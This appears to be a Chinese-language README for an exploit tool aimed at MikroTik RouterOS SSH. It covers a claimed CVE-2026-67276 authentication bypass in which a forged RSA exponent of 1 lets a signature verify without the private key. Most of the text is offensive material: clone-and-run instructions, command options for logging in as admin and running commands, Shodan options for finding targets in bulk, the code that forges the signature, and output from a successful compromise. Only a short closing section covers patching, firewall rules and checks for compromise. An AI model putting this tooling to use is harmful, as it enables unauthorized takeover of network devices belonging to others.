标准 RSA 验证：  sig^65537 mod n == 预期值  （需要私钥）
被利用的验证：   sig^1 mod n == sig           （无需私钥！）

sig^1 mod n == sig

# 克隆仓库
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# 安装依赖
pip install paramiko cryptography

# 基础利用 - 自动生成密钥，检测版本
python3 full_exploit.py --host 192.168.88.1 --username admin

# 认证后执行命令
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# 自定义端口
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

# 如果你拥有受害者的公钥文件
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# 或直接提供模数
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

# 即使目标不是 MikroTik 或版本未知也强制利用
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

--host              目标 RouterOS IP/主机名（必填）
--port              SSH 端口（默认：22）
--username          目标 RouterOS 用户名（必填）
--pubkey            RSA 公钥文件（未提供时自动生成）
--modulus-hex       RSA 模数（十六进制）（--pubkey 的替代方案）
--algos             签名算法（默认：ssh-rsa,rsa-sha2-256）
--exec              认证后要执行的命令
--exp-enc           指数编码：canonical（1 字节）或 aligned（3 字节）
--timeout           连接超时时间（默认：15.0 秒）
--skip-version-check    跳过 RouterOS 版本验证
--shodan-dorks      打印 Shodan 搜索语法
--shodan-search     通过 Shodan API 搜索目标
--shodan-key        Shodan API 密钥
--shodan-query      自定义 Shodan 查询
--shodan-limit      Shodan 结果数量限制（默认：100）

python3 full_exploit.py --shodan-dorks

# 基础搜索
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# 自定义查询
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

string    "ssh-rsa"
mpint     e（公钥指数）  <- 攻击者提供 e=1
mpint     n（模数）      <- 受害者的实际模数

# "签名"实际上就是 EMSA-PKCS1-v1_5 编码的认证数据
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # 当 e=1 时，这就是有效的签名

[*] CVE-2026-67276 MikroTrick 利用工具
[*] 目标：192.168.88.1:22

[*] 正在检测 RouterOS 版本...
[*] SSH 横幅：SSH-2.0-ROSSSH-7.23.3
[*] RouterOS 版本：7.23.3
[+] 版本存在漏洞 - 适用 CVE-2026-67276

[*] 正在生成 2048 位 RSA 密钥对...
[+] 私钥已保存：/path/to/exploit_key
[+] 公钥已保存：  /path/to/exploit_key.pub
[*] 模数：2048 位 | 伪造 e=1
[*] 指数编码：canonical（01）

[*] 正在尝试 rsa-sha2-256 ...
[+] 已通过 rsa-sha2-256 以 'admin' 身份完成认证
[+] CVE-2026-67276 已确认 - 目标存在漏洞
--- 命令输出 ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

# 检查当前版本
/system resource print

# 升级到已修复版本
/system package update download
/system reboot

/ip service disable ssh

# 按 IP 地址限制
/ip service set ssh address=192.168.88.0/24

# 防火墙规则
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

# 检查可疑用户
/user print

# 检查 "ops" 用户（已知的攻击者入侵指标）
/user print where name=ops

# 检查设备标记状态
/system/device-mode/print

# 检查日志
/log print where topics~"ssh"